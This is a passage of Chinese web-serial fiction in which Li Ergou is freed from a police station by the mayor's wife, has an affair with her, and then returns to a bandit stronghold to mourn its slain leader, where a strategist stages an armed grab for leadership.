听到敲门声,他以为又到了吃饭的时间。 他懒洋洋地从床上爬起来,来到门口,打开房门。 “今天什么饭……” 话未说完,李二狗就看到一个美艳的少妇正一脸笑意地看着自己。 他觉得这个女人好生个眼熟,只是一时想不起在哪里见过她。 “你是?” 于婉清笑道:“你不说是我的朋友吗?如今倒不认识了?” “奥……”李二狗混沌的脑袋终于清醒了,“王太太,你怎么来了?” 于婉清笑道:“我来救你出去呀,难道你想在这里待一辈子吗?” 李二狗在里面待久了,很不注意自己的形象,此时蓬头垢面的他面对妆容精致的于婉清,一时有些相形见绌。 李二狗不好意思地摊手笑道:“王太太,我不知道你会来,我这实在是有些……你千万别介意啊。” 于婉清“噗嗤”一声笑了。 “嘻嘻,没想到你还是一个如此可爱的男人,你就打算一直让我站在门口吗?不想请我进去坐坐吗?” 李二狗忙说道:“不好意思,快请进!” 他急忙闪开一条道路,于婉清贴身而入。 等她进入房间后,李二狗犹豫了一下,还是把房门关上了。 第556章 你想我怎么补偿你? 于婉清看了看房间里面的布局,这里不像监狱,倒像是一个旅馆。 “没想到宋宫鸣对你还不错,我还以为他会把你关在牢房里吃牢饭呢。” 李二狗心想,他对我还不错?老子刚进来就挨了三十皮鞭,这叫不错? “哎,被人关在里面不能出去,和牢房又有什么区别?王太太,谢谢你来看我,我还以为你不记得我了。” 于婉清笑了笑,说道:“你还是叫我婉清吧,我不喜欢王太太这个称呼。” 李二狗一愣,自己虽然和警察局的人说和于婉清是朋友,但和她也仅有两面之缘,更何况她还比自己大十几岁,又是王玉娇的母亲,实在不好意思直接称呼她的名字。 “王太太,你是王小姐的母亲,我怎么敢直呼你的名讳!” 于婉清富含深意地说道:“名字本来就是被人叫的,我都不介意,你又介意什么?难道你还有什么别的想法吗?” 她的话明显是在暗示李二狗心里有鬼。 “婉清,”李二狗从来不会被女人拿捏,“其实我很喜欢你这个名字。” 李二狗一句“婉清”,暧昧的气氛立刻便烘托出来。 “二狗,你叫我婉清,是不是感觉比叫我王太太亲切多了?” 从于婉清似笑非笑的眼神里,李二狗看到了熟悉的眼波流转。 女人的这种眼神,他见过太多太多。 “你怎么不说话了?在想什么?” 李二狗没有回答,他不知道该怎么回答,便问道:“婉清,我什么时候可以出去?” 于婉清本来想和李二狗深入地交流一番,没想到他却一直惦记着出去。 “出去?”她沉吟道,“我听说你一个人杀了八个人?到底是不是真的?” 李二狗心想,于婉清愿意亲自到警察局来救自己,说明她对自己没有加害之心,倒不如和她实话实说,看她如何应对。 “我确实杀了八个人,但是你知道我杀的那些人是谁吗?” 李二狗这一问,倒把于婉清问住了。 “谁?难道我认识?” 李二狗微微一笑,向她竖了个大拇指。 “你猜得很对,你确实认识他们。” 于婉清立即想到上次李二狗在怡红院和几个打手产生的冲突。 “难道是老八他们?” “你猜的没错,确实是老八,他带着不少人到城外追杀我,一定要置我于死地,我没有办法才不得不痛下杀手。” “如此说来,是我的人得罪你在先,是我管教无方,你想我怎么补偿你?” 李二狗完全没有料到于婉清说话竟如此直白,这分明是赤裸裸的挑逗。 “你现在来警察局救我出去,已经算是补偿我了,咱们两清了。” 于婉清突然凑近李二狗,呼出的气息拍打在他的脸上,香的令人目眩神迷。 “怎么?你就这么害怕和我产生关系吗?” 李二狗不自觉地后退两步,于婉清紧接着又上前两步,一直把李二狗逼到床前。 “婉清,这里不是说话的地方,不如我们先出去再说吧?” “只要我不出去,没有人敢进这个房间。” “可我……” 看着李二狗的窘样,于婉清开心地笑了。 其实她只是想挑逗挑逗李二狗,她不可能在警察局里和李二狗发生什么,她清楚的知道,此时宋宫鸣肯定在不远的地方密切注视着这个房间。 “我逗你的,看你吓得!好了,我们走吧。” 李二狗这个老猎人,玩了一辈子鹰,没想到却被鹰啄了眼睛。 于婉清的确不是一个普通女人。 她率先走了出去,李二狗紧跟着出了门。 这边他们刚走来,宋宫鸣就满脸笑意地迎了上来,他果然一直在附近注视着这个房间。 于婉清抢先说道:“宋局长,我已经了解清楚了,李先生确实是在自己生命受到巨大威胁时激情杀人,他属于自卫。” “王太太说得对,我们已经调查清楚了,李先生确实是出于自卫激情杀人。” “那我可以带他走了吗?” “当然当然,王太太,我马上派车送你们回去。” 于婉清说道:“算了,你们工作很忙,我就不麻烦你们了,我们自己回去就好。” 宋宫鸣何等精明之人,像于婉清这种身份之人,是绝不会和自己客套的,她说不用就是真的不用。 “那好,我送你们出去。” 宋宫鸣一直把他们送到警察局门口。 “李先生,这些时日多有得罪,还请您海涵。” 李二狗知道自己的事情和宋宫鸣关系不大,他对自己如此客气,自己也不好再说什么,便说道:“是我给宋局长添麻烦了。” 离开警察局之后,于婉清问道:“二狗,我们现在去哪?” 我们?她竟然问我们去哪? 李二狗完全没想到于婉清竟会这样问,大大出乎他的意料。 “婉清,我现在想出城。” “出城?”闻听此言,于婉清大失所望,“你就这么着急离开吗?是真想出城还是为了摆脱我?看你身上这股味道,不如我们找个安静的地方,你先洗个热水澡,吃点东西,然后再走也不迟啊。” 李二狗从来不是一个矫情的男人,于婉清这样一个美艳的少妇如此主动,他再拒绝,就有些暴殄天物了。 “我怕给你添麻烦。” 李二狗没有拒绝,于婉清顿时喜笑颜开。 “怕给我添麻烦还让我来救你?你们男人呐,一惯的话不由衷。” 李二狗无话可说,只能跟着于婉清来到一家高档酒店门前。 “我不方便,你先进去开一个房间,待会我再进去找你。” 李二狗站在原地没有动,面露尴尬之色。 “怎么还不进去?” “婉清,我刚从警察局出来,身上没带钱。” 于婉清笑着从小手包里掏出二百块钱。 “你呀,自己洗个澡还得让我掏房费,我真是上辈子欠你的。” 李二狗作为男人,从未如此尴尬过。 开房还得让女人掏钱,这不符合他做人的原则。 “待会儿我加倍还你。” 于婉清笑了,她等的就是李二狗这句话。 第557章 做女人的快乐 李二狗拿着于婉清给的二百块钱,到酒店开了一间套房。 他刚进入房间,本想先去洗个热水澡,房门就响了。 李二狗苦笑着摇了摇头,打开房门,果然是于婉清。 “婉清,你怎么这么快?我……” 李二狗话未说完,于婉清的温热的唇已经贴在李二狗的唇上。 两人嘴上接着吻,双手开始不约而同地脱对方的衣服。 一路吻,一路脱,到床前的时候,已经赤裸相见。 于婉清在李二狗耳边轻声呢喃道:“现在你该还我二百块钱了。” 那声音、那气息,李二狗把一切都抛诸脑后。 他猛地把她抱起,于婉清惊恐地睁大了双眼,此刻,李二狗在她眼中已化作雷霆战神,她期待着电闪雷鸣般的暴风雨快点到来。 李二狗从她的眼神里读懂了她的期望,他粗鲁地把她扔到床上,然后如猛虎般扑了上去。 …… 一个时辰之后,于婉清瘫软在李二狗怀里。 “二狗,和你在一起,我才真真切切地体会到做女人原来可以这样快乐。” 李二狗的一只手不停地把弄着,逗弄的于婉清“咯咯”直笑。 “怎么样?值二百块钱吗?” 于婉清娇羞地打了李二狗一拳。 “你真讨厌!” 于婉清说完,把嘴凑到李二狗耳边,妖娆地说道:“我还想再来二百块钱的。” 李二狗虎躯一震,他绝不能让女人失望。 两人一直缠斗到夜幕降临,一个骨头散了架,一个软的像瘫泥。 “二狗,我得回去了,你在这住一晚,明天一早我再来看你。” 尽管于婉清非常不舍,但她还是没有夜不归宿的勇气,哪怕王有为今晚不回家,她也必须回去,这是她作为市长夫人的无奈。 李二狗没有挽留,他知道她的难处,于是起身开始和于婉清一起穿衣服。 “我送你回去吧。” 李二狗的体贴令于婉清心里十分感动。 “我出门打个黄包车就回去了,你好好休息吧,今天辛苦你了。” 李二狗只是笑了笑,还是把衣服穿好了。 “这兵荒马乱的,这么晚了,我还是送你回去才能安心。” “谢谢你。” 于婉清忍不住吻了他,就像一个热恋中的少女,和恋人难舍难分。 两人一前一后出了酒店,李二狗招手拦下两辆黄包车。 “你在前面先走。” 于婉清笑了笑,坐上了前面的那辆黄包车,李二狗坐在后面的那辆黄包车上紧紧跟随着。 在离王公馆还有一个路口的时候,前面的黄包车突然停下了。 于婉清从车上走下来,对李二狗说道:“你回去吧,前面……就到了。” 两人相互对视着,没有拥抱,也没有吻别,一切尽在不言中。 “我看着你回去。” 于婉清依依不舍地走了,李二狗付了车钱,尽管他的身体十分疲惫,但他还是想一个人在街上走走。 刚转身,却看到王玉娇正站在一辆汽车跟前,表情复杂地看着自己。 “王小姐,你什么时候来的?” 王玉娇没有说话,她对司机说道:“胡叔,你先回去吧,我一会儿自己回去。” “小姐,那你别走远了,早点回家。” 司机老胡开着车进了王公馆。 李二狗走到王玉娇身边,尽量让自己的表情看起来轻松一些。 “王小姐,我……” “刚才我都看到了,你怎么和我妈妈在一起?” 李二狗知道,此时如果自己再想一个借口来隐瞒,肯定会有诸多破绽,倒不如实话实说。 “前几天我被警察抓了,因为我杀了人,警察想把我交给日本人,情急之下,我才和警察说我认识你母亲,好在你母亲她念在我救过你的份上,去警察局把我救了出来。实在是对不起,没有经过你的同意,就贸然打扰了你母亲,请你原谅。” 李二狗这番解释合情合理,毫无破绽,王玉娇一下子就信了。 她的关注点已经不在她母亲身上,而是李二狗杀人的事情。 “你杀了人?你怎么又杀了人?这次还是杀的日本人吗?” 李二狗笑了笑,说道:“这次不是日本人,要是日本人,我也不敢连累你的母亲,是几个拦路抢劫的歹徒,我出于自卫失手杀了他们。” “他们?”王玉娇惊得张大了嘴巴,“你到底杀了几个人?” 李二狗微微一笑,轻描淡写地说道:“八个!” “我的天呐,你竟然杀了八个人?你一个人杀得吗?” 尽管王玉娇曾经见识过李二狗的英勇,但他这次一个人能杀死八个人,还是令她震惊不已。 “是我一个人,当时也是拼命一搏,现在想来,也是有些鲁莽了。” 王玉娇夸张地说道:“李先生,你简直不是人!” “啊?” “你是神!” 一颗爱情的种子已经在这个少女心里悄悄发了芽,尽管这种情愫更多的是一种女人对男人的崇拜。 “哪有你说的这么夸张?当时我也是迫不得已,这次多亏了你母亲出手相救,不然我就被警察局移交给日本人了,现在也就见不到你了。” “李先生,都到我家门口了怎么不进去坐坐?” 李二狗说道:“王小姐,我有件事还得麻烦你。” “什么麻不麻烦的?你救过我的命,你的事就是我的事。” “我听你母亲说,你父亲最不喜欢你家里人打着他的旗号在外边替人办事,所以你母亲帮我这件事,还请你替我保密,不要告诉你父亲,另外你回去也别问你母亲,省得让她她为难,你能答应我吗?” 王玉娇亲眼见到上次王有为对李二狗的冷淡态度,她立马保证道:“那我就当不知道这件事好吗?” “谢谢你,王小姐。” “人家还是喜欢你叫我玉娇,好吗?二狗哥。” “玉娇,”李二狗心里总觉得发虚,“你快回家吧,我还有事,得先走了。” 王玉娇依依不舍地问道:“二狗哥,以后我们能常见面吗?” 李二狗不忍再骗她,便说道:“明天我就要回关内了,等我下次再来奉天的时候一定来看你,好吗?” 王玉娇的泪水夺眶而出,虽有万分不舍,但也无可奈何。 “那你说话一定要算数,我等你。” 第558章 祭奠镇东北 李二狗告别王玉娇回到酒店。 他躺在床上,辗转反侧,怎么也睡不着。 他的脑海里一会儿出现王玉娇哭泣的面容,一会儿又出现于婉清开心的笑颜。 他心乱如麻。 他不能再留在这里,他来到酒店前台给于婉清留了一封告别信之后便离开了奉天城。 出了奉天城,他一路急行,很快便来到清风寨。 刚到清风寨寨门口,便听到寨内哭声一片。 李二狗拉住寨门口的一个土匪问道:“山寨出什么事了?谁死了?” 这个守门的土匪认识李二狗,他一边抹眼泪一边说道:“是我们大当家的,他……他被人杀死了!” 李二狗在来清风寨的路上,一直担心鲜儿的安全,没想到却是镇东北出了事。 清风寨的山风裹着雪粒子,直往人骨头缝里钻。 聚义堂的门楣上挂着两串白幡,被风扯得猎猎作响,像谁在半空里哀嚎。 李二狗踩着结了冰的石阶往上走,每一步都陷进没过脚踝的积雪里,发出咯吱咯吱的声响。 聚义堂里早已没有了往日的喧闹。 原本挂在大堂正中央的“替天行道”匾额被摘了,换上了一块上端蒙着黑布的牌位,牌位前点着两根白烛,火苗被穿堂风搅得忽明忽暗,把供桌上的瓜果糕点照得一半明一半暗。 镇东北那张常坐的虎皮椅上铺了一层白布,椅背上搭着他生前常穿的那件藏青色棉袍,领口磨出的毛边还在,只是再也没人会穿着它,拍着桌子喊弟兄们喝酒了。 灵堂的地上铺着干草,十几个弟兄跪在草上,脑袋垂得低低的,有人肩膀一抽一抽的,压抑的呜咽声混着烛花爆开的噼啪声,在堂里打着转。 供桌前的火盆里堆着纸钱,灰被风卷起来,飘得满屋子都是,落在弟兄们的毡帽上、肩膀上,像一层薄薄的霜。 李二狗刚跨进门槛,就看见跪在最前面的鲜儿。 她穿着一身洁白的孝衣,头发松松地挽着,几缕碎发垂在脸前,被眼泪泡得湿漉漉的。 她没有哭出声,只是死死地盯着那块黑牌位,肩膀抖得就像秋风里的落叶,一只手用力地攥着孝衣的衣角。 李二狗记得有一次镇东北对自己说,他这妹妹就是山涧里的野蔷薇,看着柔,骨子里却带着刺。 可此刻,那刺像是被人连根拔了,只剩下蔫蔫的、一碰就碎的模样。 “鲜儿。” 李二狗蹲到她身边,声音压得很低。 他想说些什么,安慰的话却在喉咙里滚了几圈,却全堵在了里面。 鲜儿见到李二狗,先是一惊,继而扑到他怀里放声痛哭。 “二狗哥,你可回来了,我哥他……他死了!” 李二狗抱着她,轻轻地拍打着她的后背。 许久之后,鲜儿的哭声才渐渐停歇下来。 “大哥是怎么死的?” 鲜儿没有回答李二狗,而是伸出手,指尖轻轻碰了碰那块冰凉的牌位,像怕惊扰了什么似的,动作轻得不能再轻。 “我哥他……” 话没说完,眼泪突然再次决堤,大颗大颗砸在供桌的木板上,溅起细小的水花。 她猛地伏在地上,额头抵着冰冷的地面,压抑了数日的哭声终于炸开,一声比一声凄厉,像刀子似的剐着每个人的心。 镇东北死后,柱子想尽了一切办法也无法把他的尸体完整地带回清风寨,只能趁着夜色埋在一个湖边。 “是我害了你啊哥……”她用拳头不停地捶着胸口,哭得浑身抽搐,“要不是我任性,你也不会死啊?你为什么要救我啊?你让我去死啊……” 旁边的柱子头忍不住别过脸,用袖子抹了一把眼睛。 他跟着镇东北快十年了,看着鲜儿从扎着羊角辫的丫头长成大姑娘,镇东北待这妹妹比眼珠子还金贵。 有一回鲜儿被附近山寨的一个土匪骂了一句,镇东北单枪匹马追了三十里,把那山匪的耳朵割下来,串在箭上插在人家寨门口。 李二狗伸手想扶她,刚碰到她的胳膊,就被她猛地甩开。 “别碰我!”鲜儿抬起头,脸上全是泪和鼻涕,眼睛红肿得像核桃,“是我害死了我哥!是我害了整个清风寨!你们都该恨我……” “你胡说什么!”柱子的声音沉了下来,抓着她的肩膀晃了晃,“大当家是为了护着你,他要是看着你这样作贱自己,在底下也不安生!” 鲜儿被他晃得一愣,随即哭得更凶,却不再捶打自己,只是趴在地上,任由眼泪把身前的干草泡得透湿。 供桌上的白烛爆了个大花,火苗猛地蹿高,照亮了她手腕上那道浅浅的疤——那是小时候被毒蛇咬了,镇东北用嘴给她吸毒液时,她疼得挣扎,被石头划破的。 聚义堂外的雪下得更紧了,风从门缝里钻进来,卷起地上的纸灰,粘在鲜儿的孝衣上。 栓子端来一碗热水,想让她润润嗓子,她只是摆摆手,眼睛直勾勾地盯着牌位,像要在那黑木头上面看出个洞来。 李二狗站起身,走到供桌前,拿起三炷香,在烛火上点燃。 烟袅袅地升起来,呛得他喉咙发紧。 他对着牌位恭恭敬敬地磕了三个头,额头撞在冰冷的地面上,发出沉闷的响声。 “大哥,”他开口道,声音里带着未散的寒气,“你放心,鲜儿我会替你照顾好。” 跪在地上的弟兄们齐齐抬起头,眼里的悲伤渐渐燃起火光。 柱子往火盆里添了把纸钱,纸灰飞起来,像无数只黑色的蝴蝶,在烛火里打着旋。 鲜儿还跪在那里,只是哭声慢慢小了下去。 她伸出手,轻轻抚摸着供桌边缘那道浅浅的刻痕。 那是去年她过生日时,镇东北用刀给她刻了一朵歪歪扭扭的桃花,说等开春了,就把这聚义堂周围全种上桃树。 风又起了,吹得白幡拍打着门框,像谁在无声地应和。 烛火渐渐平稳下来,映着满室的白,映着地上鲜儿那一抹瘦小的身影,也映着李二狗眼里燃得越来越旺的火。 雪一直在下…… 第559章 费五的阴谋 当李二狗从柱子口中得知镇东北的真实死因时,心情久久难以平静。 镇东北之死,表面看是因为鲜儿任性导致的,其根本原因还在李二狗身上。 鲜儿如果不是因为救李二狗心切,也不会那么冲动地去奉天,后续也就不会发生镇东北因为救她而被吴勇杀死的悲剧。 如今吴勇已死,李二狗连为镇东北报仇的机会都没有了。 这个情他得欠镇东北一辈子。 如今他能够报答镇东北的,只能是尽自己的全力照顾好鲜儿。 可他又能怎么照顾鲜儿呢? 她想要的,自己根本给不了。 他能给的,鲜儿根本不需要。 这简直是一个死局。 柱子找到李二狗,他想和李二狗好好谈一谈。 “狗哥,那批中药材我已经安全护送到了关内,亲手交给了药厂的静雯经理。” “柱子兄弟,太谢谢你了,你帮了我大忙。” 柱子浅笑一声,说道:“狗哥,咱们是好兄弟,这点小事又何足挂齿。”柱子犹豫了一下,接着说道:“我回来的时候,静雯经理特意让我给你带个话,她让你办完关外的事赶紧赶回去,好像很着急的样子。” 李二狗尚未说话,柱子又貌似无意地补充了一句:“她很漂亮。” 李二狗没想到,柱子竟然能猜出他和静雯的关系。 他没有解释,也不知道该如何解释,其实根本也没必要解释。 “柱子兄弟,我这两天就准备回关内了。” 柱子幽幽地说道:“你这一走,鲜儿又要伤心了。” “柱子,其实我和鲜儿……” “狗哥,你不用解释,我都懂,但是鲜儿她心里只有你。” 柱子说完,神情落寞,他丝毫没有怨恨李二狗的意思,怪只怪自己不能俘获鲜儿的芳心。 “柱子,这些日子,我看得出来你对鲜儿是真心好,你不应该就这么轻易放弃。” “狗哥,你和我说实话,你对鲜儿……到底是怎么想的?” “我只拿鲜儿当亲妹妹,其他的我没有想过。” 李二狗的话被窗外的鲜儿听得一清二楚,她彻底绝望了。 第二天,鲜儿、柱子、栓子、费五以及山寨的“四梁八柱”齐聚聚义堂开会,柱子特意邀请李二狗出席。 在清风寨,镇东北是大当家,柱子、栓子是二当家和三当家,同时也是亲兄弟。 费五虽然是山寨军师,但并不掌握实权,排名在栓子之后。 鲜儿虽然是镇东北的亲妹子,但她平时主要在奉天,基本不参与山寨的事情,在山寨也没有任何职务。 镇东北死后,作为二当家的柱子接掌清风寨成为大当家好像已经是板上钉钉的事实。 这也是他今天召集这次会议的主要目的。 “今天把大家召集起来,主要是商量一下咱们清风寨今后的前程,大家有什么建议,可以畅所欲言。” 栓子不等其他人说话,率先说道:“大哥不幸罹难,全寨上下悲痛不已,但山寨不可一日无主,为了咱们清风寨上百号兄弟的前程,咱们必须尽快选一个新的寨主出来。” “军师,你有什么意见?”柱子特意问费五。 费五用手捋着山羊胡,嘴角含笑,一副高深莫测的表情。 “我也同意尽快选出一个新的寨主,”他顿了顿,捋着山羊胡继续说道:“清风寨是大当家一手建立起来的,现在他不幸罹难,寨主一职我建议应由他最亲近的人接任。” 很明显,他说的人选是鲜儿。 鲜儿一直低着头,仿佛没听见一般。 柱子听后紧抿着嘴唇,不置可否。 费五虽然挺废物,但他说的话却很有道理。 清风寨是镇东北一手建立起来的,在柱子、栓子没上山入伙之前,清风寨就已经声名远播。 目前寨内还有很多山寨初创时期的元老,也就是山寨的这些“四梁八柱”。 何为“四梁八柱”? 在中国东北地区,土匪山寨壮大以后成了规模,就需要有人管理,内部逐渐有了明确的分工。 那些骨干成员各自管理着自己的人马,各司其职做着自己分内的事情。 土匪内部的这种组织名称就叫做“四梁八柱”。 当年雷震天建立的霸虎寨就有“四梁八柱”。 “四梁八柱”本是来源于中国古代的传统建筑,那个时候的房子靠着四根大梁和八根柱子支撑,代表着建筑的主要结构。 挪用到土匪内部后,这成了土匪组织结构的名词。 土匪山寨有大有小,大的山寨“四梁”和“八柱”是齐全的,他们一般分开管理。 但是人数较少的山寨,就没那么多讲究了,总共就那么点人马,哪还需要那么多管事儿的人呢? 所以他们的职位经常是串着的,相当于一个人把几个部门的事情都干了。 有的山寨只有“四梁”,没有“八柱”,有的则是有“八柱”,没有“四梁”。 而有的虽然都设了岗位,但是人员也不一定齐整。 清风寨作为一个中等规模的山寨,只有“四梁”,没有“八柱”。 那么何为“四梁”呢? 分别有“托天梁”、“顶天梁”、“应天梁”和“顺天梁”。 “托天梁”就是军师,主要负责出谋划策,他要懂天文地理五行八卦,有什么大家伙不懂的事情,需要请教于他。 在清风寨,这一角色由费五亲自出任。 “顶天梁”就如同队伍中的一员武将,他必须武艺高强,枪法精准,冲锋陷阵靠他来带领队伍。 “应天梁”主要负责后勤,团伙里的吃穿供应有他来管理,各种大年小节的事情得靠他来张罗。 “顺天梁”如同保安队长,山寨内部执勤、安保、放哨等工作归他负责,这个岗位的能力直接影响着山寨的安全保障。 能成为“四梁”,这些人一般都有一门绝技,在上山之前或许都是行业精英,只是生逢乱世才被迫上山做了土匪。 镇东北在,这些人都表现得很恭顺,大家也能和平相处。 如今大当家镇东北不在了,这些人不一定会卖柱子这个所谓二当家面子。 第560章 争夺寨主之位 “军师的话很有道理啊,大当家的一番心血岂能拱手让给外人?” “对啊对啊,大当家的膝下无子,我建议就由他的亲妹妹鲜儿姑娘接任咱们清风寨大当家,相信大当家的在天之灵也能安息。” “对,我同意。” “我也同意。” 看着众人纷纷推举鲜儿接任大当家的,柱子和栓子的脸都绿了,费五则微不可察地笑了,仿佛一切都在他的掌握之中。 李二狗坐在聚义堂一个角落里观察着众人,一直默不作声,但他一眼便看出这里面的道道。 能在清风寨这样一个土匪山寨当上“四梁八柱”,这伙人没有一个是善茬。 虽然平日里大家都是称兄道弟,你好我也好,但那只是表面现象,背地里肯定谁都不服谁。 镇东北活着的时候,慑于他的威望,大家还可以相安无事。 但现在镇东北死了,清风寨一下子没有了主心骨,明争暗斗不可避免。 可今天这伙人的意见却出乎寻常的一致,那就只能说明一个问题,他们提前在私底下进行了串通。 如果柱子当上清风寨大当家,这些“四梁八柱”手中的权力肯定会受到限制,因为柱子这个人性格比较倔强,又嫉恶如仇,对属下要求极其严格,这是他们不希望看到的。 而鲜儿当上清风寨大当家则不同,她一个姑娘家,这些老江湖有的是办法对付她,说不定某一天还可以取而代之。 在自己当前明确当不上清风寨大当家的情况下,选择一下对自己最为有利的人来当,这无疑是最好的办法。 李二狗分析,这一切的幕后指使,肯定就是军师费五。 费五这个人,虽然能力一般,水平有限,但搞阴谋诡计绝对是把好手。 别看他平时笑眯眯的,其实肚子里都是见不得光的东西。 柱子和栓子虽然是清风寨二当家和三当家,但鲜儿却是镇东北的亲妹子。 如果他们现在反对鲜儿接任清风寨大当家,就等于是在反对镇东北,镇东北尸骨未寒,他们就和鲜儿争抢寨主之位,这很容易引起山寨众兄弟的反对。 费五阴阳着一张脸,故意问道:“二当家的,大家都推选鲜儿姑娘为大当家,不知道你的意见如何?” 柱子看了一眼鲜儿,她一直在座位上低头不语。 其实鲜儿如果成为清风寨大当家,柱子内心是赞同的。 他喜欢这个女人多年,为了她,自己的性命都可以不要,更何况一个寨主之位。 但他知道鲜儿的性格,她不喜欢过这种打打杀杀的生活,这也是镇东北不把她留在山寨,而是想办法把她送到奉天一个学校教书的原因。 只要鲜儿愿意嫁给他,他甚至可以为了她离开清风寨。 可所有的这一切都是他的一厢情愿。 他不知道鲜儿现在是什么想法。 对于鲜儿的未来,李二狗也是愁绪万千。 鲜儿打小父母双亡,兄妹俩相依为命,是由镇东北一把屎一把尿把鲜儿带大的,她家中早已没有了其他亲人。 如今鲜儿已经无法再回到奉天教书,无依无靠的她,除了清风寨,她已经没有其他可以立足的地方。 留在清风寨当寨主,或许是她最好的归宿。 但她能答应吗? 李二狗认为以鲜儿的性格,她肯定不会答应。 如今镇东北已死,如果她不答应,她又以何身份继续留在清风寨? 随着时间的流逝,镇东北早晚会成为一个传说,到时候还会有多少人记得鲜儿是镇东北的妹妹? “我当不了清风寨大当家,你们还是另找他人吧。” 鲜儿话一出口,除了李二狗,大家都不免吃了一惊。 费五急忙劝道:“鲜儿姑娘,你可要想清楚啊,这清风寨可是你哥哥一辈子的心血啊,你难道就愿意眼睁睁地看着他的心血付诸东流吗?” 栓子终于忍不住了,他站起来,怒视着费五,仿佛要把他吃了一般。 “军师,你说这话是什么意思?咱们大家和大哥都如亲兄弟一般,什么叫大哥的心血付诸东流?” 费五现在背后有“四梁八柱”的支持,他说话的底气自然就壮了许多。 “大家都是东北大哥的兄弟不假,但鲜儿姑娘却是他的亲妹子,她才是东北大哥最亲的人,接任大当家的位子天经地义。” “军师说得对,除了鲜儿姑娘之外,其他人想当大当家的,我第一个不服!” “老子也不服!” “老子更不服!” 栓子恼羞成怒道:“我看你他娘的是想当大当家的!” …… 聚义堂顿时吵成了一锅粥。 李二狗密切注视着众人的一举一动,他把手放在腰间,悄悄打开了手枪的保险栓,准备关键时刻就出手,当然他支持的是柱子兄弟。 柱子突然抓起面前的一只茶杯狠狠地摔在地上,起身大喝道:“妈了个巴子,都给老子住嘴!怎么?你们都想造反吗?” 费五毫不畏惧,他站起来,直视柱子。 “柱子。” 他这次并没有称呼柱子为二当家,而是直呼柱子其名,双方矛盾已经彻底公开化。 “大哥如今尸骨未寒,你就想谋权篡位吗?在座的各位都是当年跟随大哥上山建立山寨的有功之臣,难道连说一句实话的权利都没有了吗?怎么?难道你想搞一言堂?” “对啊,你才上山几天?少在老子面前装大尾巴鹰!” “熊完这个熊那个,还真把自己当大当家的了!” “我看是有人觊觎寨主之位已久,我现在都有点怀疑大哥的真正死因!” 其他话柱子能忍,但说怀疑镇东北的死因,柱子实在忍受不了了。 他猛地拔出手枪,对准了刚才说这话的人。 “你他娘的再信口胡诌,信不信老子一枪毙了你?” “怎么?恼羞成怒了?呵呵,有本事你现在就毙了老子,来,朝这打!谁不敢开枪谁他娘的是孙子!” “我他娘的现在就毙了你!” 柱子“咔嚓”一声拨动枪栓,局势一触即发。 第561章 卑鄙的费五 “能不能都别吵了?!”鲜儿终于站了起来,“我哥尸骨未寒,你们就在这里争夺寨主之位,如果他泉下有知,肯定会对你们非常失望。” “二当家的,你听见了吗?鲜儿姑娘说,大哥泉下有知肯定对你非常失望!” “嗯,非常失望!” “别说大哥,就连我都对二当家的所作所为非常失望!” “二当家的,你怎么能这样呢?” “大哥对你不薄啊!” …… “你们……” 柱子被他们这番无耻的言论气得手在发抖! 鲜儿没想到这伙人竟如此无耻,故意曲解她的意思。 “好了,大家都别吵了!我提议让柱子接任清风寨寨主之位,这也是我哥临死前的意思。” 柱子惊讶地看着鲜儿,因为他知道,镇东北当时死得非常突然,临死前什么话都没来得及交代。 费五问道:“鲜儿姑娘,大哥临死前真是这样说的?这话可不能乱说啊。” “当然是我哥说的,柱子当时也在旁边听见了。” “柱子听见的不能作数!” “怎么?费军师是怀疑我在说谎吗?” “我可没这么说!”费五显得义正词严,“只是寨主之位关乎咱们山寨的前途命运,咱们不能仅凭鲜儿姑娘你的一句话就草率决定了!” “军师说的对,寨主之位必须谨慎!” 不知道费五在背后给“四梁八柱”承诺了什么,今天他们打定主意支持费五。 栓子是个急脾气,他知道费五和“四梁八柱”私下已经结成同盟,其目的就是不让柱子成为寨主。 “军师,这也不行,那也不行,你到底是什么意思?难道你自己想当寨主吗?” 费五还没说话,“四梁八柱”率先接过话茬。 “三当家的说的对啊,让军师当寨主,我看行。” “对对对,军师是咱们山寨的智多星,他当寨主,我举双手赞成!” “咱们山寨在军师的带领下一定可以再创辉煌!” 鲜儿虽然自己不想做寨主,但她知道谁对她好,也知道谁当寨主对自己有利。 如果费五当了寨主,不久之后,自己在清风寨将无立足之地。 “军师,我刚才已经说过了,我哥临死前已经指定柱子接任寨主之位,难道你想违背我哥的遗愿吗?” “鲜儿姑娘,大哥的命令,除了你,我们可谁都没听见啊!” “是啊,你当时都那样了,应该是听错了吧?” 几个人看着鲜儿,彼此交流着猥琐的眼神,他们这是在故意揭鲜儿的伤疤。 柱子看不下去了,他宁可不做寨主,也不愿意让鲜儿受这种侮辱。 “闭上你们的臭嘴,我警告你们,你们不要太过分了!” “柱子,你不要仗着自己二当家的身份就和我们耍威风,我们难道说错了吗?” “对啊,我们说的都是实话。” “大哥是怎么死的?别以为我们大家不知道!” 柱子再也忍不下去了,他一个箭步窜到刚才那人身前,用枪顶在他的脑门上。 “你敢再说一个字,老子立马毙了你!” 费五看柱子动怒,迅速向其他的“四梁八柱”传递了一个眼神。 大家心领神会,纷纷掏出枪,对准了柱子。 栓子见状,也急忙拔出枪对准了他们。 “你们干什么?谁他娘的敢动一下试试?” 鲜儿被这剑拔弩张的气氛吓坏了,她一屁股瘫坐在椅子上。 费五捋着山羊胡,迈着八字步,慢慢地踱到柱子身前。 “我说柱子啊,瞧你那损色,你和栓子浑身是铁又能打几颗钉?你说你这样做是不是在犯傻?” 对方加上费五是四个人,柱子和栓子虽然只有两个人,但他们知道李二狗肯定会站在他们这一边,李二狗的本事他们是见识过的。 柱子毫无惧色地说道:“军师,你想火并吗?” 费五彻底不装了。 “来人!” 顿时,十几个土匪从聚义堂外边冲了进来,他们全部手持武器,枪口对准了柱子兄弟二人。 “柱子,我想火并你能咋滴?你以为自己有三头六臂吗?” “费五,原来你他娘的早有预谋,老子饶不了你!” 栓子话未说完,就被一个人用枪托砸中后脑,他顿时昏死在地上。 “栓子!” 柱子转头看向栓子的瞬间,手里的枪已被人抢了过去,十几支枪全部对准了他。 “费五,你……” “哈哈哈,柱子,念在咱们多年兄弟的份上,只要你现在跪下来求我,我可以给你们兄弟俩留一个全尸,怎么样?哈哈哈……” 栓子昏死在地上,柱子被十几条枪瞄准着,看这态势,胜负已定! 鲜儿见状,急忙冲过来,张开双臂挡在柱子身前。 “军师,你要杀柱子,除非先杀了我!” 鲜儿不懂费五的狠毒,但柱子懂,他什么事都做得出来。 “鲜儿,这里没你的事,你快闪开!” “我不!柱子哥,我不能让他们杀你!” 